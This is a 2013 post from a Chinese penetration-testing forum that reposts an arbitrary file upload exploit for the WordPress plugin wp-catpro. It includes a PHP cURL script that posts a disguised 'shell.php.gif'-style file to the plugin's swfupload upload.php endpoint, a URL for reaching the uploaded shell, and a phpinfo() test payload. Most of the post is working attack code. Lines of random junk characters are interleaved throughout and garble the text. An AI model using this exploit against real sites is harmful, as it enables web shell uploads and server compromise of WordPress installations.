中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
) G8 v+ W) `. `
#-----------------------------------------------------------------------
) T2 D3 A* k, Q! b1 @- ~
# {8 O/ F0 g8 l4 C! `- r" y! D, P
作者 => Zikou-16
0 T3 q `1 o0 D4 J9 p: V4 n
邮箱 =>
zikou16x@gmail.com
* a6 h, T6 i, E# s2 P8 d5 W) f+ _
测试系统 : Windows 7 , Backtrack 5r3
4 _& d) h( L8 w. W; r7 H* }
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
6 r: P' q( g1 v, q$ h" k
####
6 f- E+ K" |4 R0 J( X7 s( K- o2 n
* i) ]( q( I% F4 O9 _4 D1 i+ G+ C
#=> Exploit 信息:
H/ N% E0 @5 H# ]& K- R1 T8 J- ]8 k
------------------
, k* x0 y% d* W( Y$ r4 u- o% a* x
# 攻击者可以上传 file/shell.php.gif
: O- \' K. [# n# ^8 s/ R
# ("jpg", "gif", "png") // Allowed file extensions
) M1 Y( @* X& h u9 q
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
* T9 C) x) T3 t! ]& G0 B* }! U" x
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
' K2 v q: @, b! U2 x
------------------
: C j8 m" p) r' R8 w
# m; B. Y- t) f' j% [0 W' l
#=> Exploit
; `- \* J. X: b7 g0 M
-----------
2 C" _7 i4 B/ I" U9 b
<?php
& c6 J0 B8 _* ]" r/ n, h g0 a
5 u c1 A8 g" e. {; n
$uploadfile="zik.php.gif";
0 a) s3 x1 }6 ?3 D, b6 g2 P
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
2 N( ~) y p# ?, V0 W
curl_setopt($ch, CURLOPT_POST, true);
/ \8 n% r! x) G
curl_setopt($ch, CURLOPT_POSTFIELDS,
. E' T3 j9 o' f' Q2 o" E9 D
array('Filedata'=>"@$uploadfile",
" N4 R6 v5 A A
'folder'=>'/wp-content/uploads/catpro/'));
. ^& c, R! W4 F. U5 ^
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8 F v$ k& \ L0 R0 Y- s
$postResult = curl_exec($ch);
3 J( D* J$ S. a: A' \6 r. o$ T# |
curl_close($ch);
7 b' ?! r4 B- [3 D) u
/ x, p" o) c5 O" Y1 |) [
print "$postResult";
1 g f5 x# f6 |; m/ e
- v4 R; z: e- _3 ]; S! x0 l
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
" L/ p) |. Z2 }* h, v I1 p
?>
( X3 m; j1 c/ c) o
<?php
4 x) U/ o2 T! K( D, P3 M2 Z
phpinfo();
3 {$ H& A2 S4 r' ~
?>
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2